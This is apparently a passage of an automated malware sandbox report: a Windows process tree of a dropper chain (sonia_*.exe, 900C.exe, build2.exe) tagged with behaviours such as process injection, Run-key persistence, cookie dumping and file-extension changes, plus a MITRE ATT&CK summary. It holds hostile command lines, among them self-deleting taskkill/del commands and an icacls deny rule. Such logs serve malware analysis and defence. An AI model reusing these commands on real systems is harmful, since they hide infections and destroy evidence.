C:\Users\Admin\AppData\Roaming\1234.exe"{path}"8⤵PID:6440
-
-
-
-
C:\Users\Admin\Documents\qsubtMvLXn_5NuhBsp4waAOG.exe"C:\Users\Admin\Documents\qsubtMvLXn_5NuhBsp4waAOG.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4284 -
C:\Users\Admin\Documents\qsubtMvLXn_5NuhBsp4waAOG.exe"C:\Users\Admin\Documents\qsubtMvLXn_5NuhBsp4waAOG.exe"7⤵
- Executes dropped EXE
- Checks processor information in registry
PID:4916
-
-
-
C:\Users\Admin\Documents\duFtxwP2F8FjNWBDhnmWhmkU.exe"C:\Users\Admin\Documents\duFtxwP2F8FjNWBDhnmWhmkU.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5096 -
C:\Users\Admin\Documents\duFtxwP2F8FjNWBDhnmWhmkU.exeC:\Users\Admin\Documents\duFtxwP2F8FjNWBDhnmWhmkU.exe7⤵
- Executes dropped EXE
PID:4684
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_7.exe4⤵PID:816
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_6.exe4⤵
- Suspicious use of WriteProcessMemory
PID:1160 -
C:\Users\Admin\AppData\Local\Temp\7zS4AAD0904\sonia_6.exesonia_6.exe5⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2732 -
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵
- Executes dropped EXE
PID:3656
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4196
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵PID:5716
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵PID:5104
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_2.exe4⤵
- Suspicious use of WriteProcessMemory
PID:1696
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_1.exe4⤵
- Suspicious use of WriteProcessMemory
PID:3940
-
-
-
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵PID:1412
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵PID:1384
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵PID:1184
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵PID:1136
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵
- Drops file in System32 directory
PID:1040 -
C:\Users\Admin\AppData\Roaming\hvwbjurC:\Users\Admin\AppData\Roaming\hvwbjur2⤵
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:3868
-
-
C:\Users\Admin\AppData\Local\bdf46e39-c397-4a2a-a5b3-52c344a43b56\900C.exeC:\Users\Admin\AppData\Local\bdf46e39-c397-4a2a-a5b3-52c344a43b56\900C.exe --Task2⤵
- Suspicious use of SetThreadContext
PID:6308 -
C:\Users\Admin\AppData\Local\bdf46e39-c397-4a2a-a5b3-52c344a43b56\900C.exeC:\Users\Admin\AppData\Local\bdf46e39-c397-4a2a-a5b3-52c344a43b56\900C.exe --Task3⤵PID:4464
-
-
-
C:\Users\Admin\AppData\Local\bdf46e39-c397-4a2a-a5b3-52c344a43b56\900C.exeC:\Users\Admin\AppData\Local\bdf46e39-c397-4a2a-a5b3-52c344a43b56\900C.exe --Task2⤵
- Suspicious use of SetThreadContext
PID:4624 -
C:\Users\Admin\AppData\Local\bdf46e39-c397-4a2a-a5b3-52c344a43b56\900C.exeC:\Users\Admin\AppData\Local\bdf46e39-c397-4a2a-a5b3-52c344a43b56\900C.exe --Task3⤵PID:856
-
-
-
C:\Users\Admin\AppData\Local\bdf46e39-c397-4a2a-a5b3-52c344a43b56\900C.exeC:\Users\Admin\AppData\Local\bdf46e39-c397-4a2a-a5b3-52c344a43b56\900C.exe --Task2⤵
- Suspicious use of SetThreadContext
PID:2856 -
C:\Users\Admin\AppData\Local\bdf46e39-c397-4a2a-a5b3-52c344a43b56\900C.exeC:\Users\Admin\AppData\Local\bdf46e39-c397-4a2a-a5b3-52c344a43b56\900C.exe --Task3⤵PID:6556
-
-
-
C:\Users\Admin\AppData\Roaming\hvwbjurC:\Users\Admin\AppData\Roaming\hvwbjur2⤵
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:4180
-
-
C:\Users\Admin\AppData\Local\bdf46e39-c397-4a2a-a5b3-52c344a43b56\900C.exeC:\Users\Admin\AppData\Local\bdf46e39-c397-4a2a-a5b3-52c344a43b56\900C.exe --Task2⤵
- Suspicious use of SetThreadContext
PID:6720 -
C:\Users\Admin\AppData\Local\bdf46e39-c397-4a2a-a5b3-52c344a43b56\900C.exeC:\Users\Admin\AppData\Local\bdf46e39-c397-4a2a-a5b3-52c344a43b56\900C.exe --Task3⤵PID:6744
-
-
-
C:\Users\Admin\AppData\Local\bdf46e39-c397-4a2a-a5b3-52c344a43b56\900C.exeC:\Users\Admin\AppData\Local\bdf46e39-c397-4a2a-a5b3-52c344a43b56\900C.exe --Task2⤵
- Suspicious use of SetThreadContext
PID:5456 -
C:\Users\Admin\AppData\Local\bdf46e39-c397-4a2a-a5b3-52c344a43b56\900C.exeC:\Users\Admin\AppData\Local\bdf46e39-c397-4a2a-a5b3-52c344a43b56\900C.exe --Task3⤵PID:5068
-
-
-
C:\Users\Admin\AppData\Roaming\hvwbjurC:\Users\Admin\AppData\Roaming\hvwbjur2⤵
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:5696
-
-
C:\Users\Admin\AppData\Local\bdf46e39-c397-4a2a-a5b3-52c344a43b56\900C.exeC:\Users\Admin\AppData\Local\bdf46e39-c397-4a2a-a5b3-52c344a43b56\900C.exe --Task2⤵
- Suspicious use of SetThreadContext
PID:6032 -
C:\Users\Admin\AppData\Local\bdf46e39-c397-4a2a-a5b3-52c344a43b56\900C.exeC:\Users\Admin\AppData\Local\bdf46e39-c397-4a2a-a5b3-52c344a43b56\900C.exe --Task3⤵PID:1836
-
-
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵PID:1004
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3816 -
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Modifies registry class
PID:4320
-
-
C:\Users\Admin\AppData\Local\Temp\7zS4AAD0904\sonia_1.exesonia_1.exe1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3872 -
C:\Users\Admin\AppData\Local\Temp\7zS4AAD0904\sonia_1.exe"C:\Users\Admin\AppData\Local\Temp\7zS4AAD0904\sonia_1.exe" -a2⤵
- Executes dropped EXE
PID:3616
-
-
C:\Users\Admin\AppData\Local\Temp\7zS4AAD0904\sonia_2.exesonia_2.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:2892
-
C:\Windows\system32\rUNdlL32.eXerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4180 -
C:\Windows\SysWOW64\rundll32.exerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main2⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4204
-
-
C:\Windows\system32\rUNdlL32.eXerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main1⤵
- Process spawned unexpected child process
PID:5816 -
C:\Windows\SysWOW64\rundll32.exerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main2⤵
- Loads dropped DLL
PID:5828
-
-
C:\Windows\system32\rUNdlL32.eXerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main1⤵
- Process spawned unexpected child process
PID:5316 -
C:\Windows\SysWOW64\rundll32.exerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main2⤵
- Loads dropped DLL
PID:5260 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5260 -s 6243⤵
- Program crash
PID:5904
-
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵PID:5760
-
C:\Users\Admin\AppData\Local\Temp\900C.exeC:\Users\Admin\AppData\Local\Temp\900C.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5312 -
C:\Users\Admin\AppData\Local\Temp\900C.exeC:\Users\Admin\AppData\Local\Temp\900C.exe2⤵
- Executes dropped EXE
- Adds Run key to start application
PID:4644 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Users\Admin\AppData\Local\bdf46e39-c397-4a2a-a5b3-52c344a43b56" /deny *S-1-1-0:(OI)(CI)(DE,DC)3⤵
- Modifies file permissions
PID:648
-
-
C:\Users\Admin\AppData\Local\Temp\900C.exe"C:\Users\Admin\AppData\Local\Temp\900C.exe" --Admin IsNotAutoStart IsNotTask3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:7040 -
C:\Users\Admin\AppData\Local\Temp\900C.exe"C:\Users\Admin\AppData\Local\Temp\900C.exe" --Admin IsNotAutoStart IsNotTask4⤵
- Executes dropped EXE
- Modifies extensions of user files
PID:7148 -
C:\Users\Admin\AppData\Local\2b9d0486-7faf-426d-b525-4238f246a1de\build2.exe"C:\Users\Admin\AppData\Local\2b9d0486-7faf-426d-b525-4238f246a1de\build2.exe"5⤵
- Suspicious use of SetThreadContext
PID:6308 -
C:\Users\Admin\AppData\Local\2b9d0486-7faf-426d-b525-4238f246a1de\build2.exe"C:\Users\Admin\AppData\Local\2b9d0486-7faf-426d-b525-4238f246a1de\build2.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:1420 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\2b9d0486-7faf-426d-b525-4238f246a1de\build2.exe" & del C:\ProgramData\*.dll & exit7⤵PID:6596
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im build2.exe /f8⤵
- Kills process with taskkill
PID:6364
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 68⤵
- Delays execution with timeout.exe
PID:4336
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\A02A.exeC:\Users\Admin\AppData\Local\Temp\A02A.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:5776 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im A02A.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\A02A.exe" & del C:\ProgramData\*.dll & exit2⤵PID:6472
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im A02A.exe /f3⤵
- Kills process with taskkill
PID:6644
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 63⤵
- Delays execution with timeout.exe
PID:6796
-
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5496
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
PID:5660
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:2320
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies Internet Explorer settings
- Modifies registry class
PID:1736
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:6228
-
C:\Users\Admin\AppData\Local\Temp\C74A.exeC:\Users\Admin\AppData\Local\Temp\C74A.exe1⤵
- Executes dropped EXE
PID:6496
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:6812
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Loads dropped DLL
- Checks processor information in registry
- Modifies registry class
PID:4480
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:5576
Network
MITRE ATT&CK Enterprise v6
Defense Evasion
Disabling Security Tools
1File and Directory Permissions Modification
1Install Root Certificate
1Modify Registry
4Virtualization/Sandbox Evasion
1Web Service
1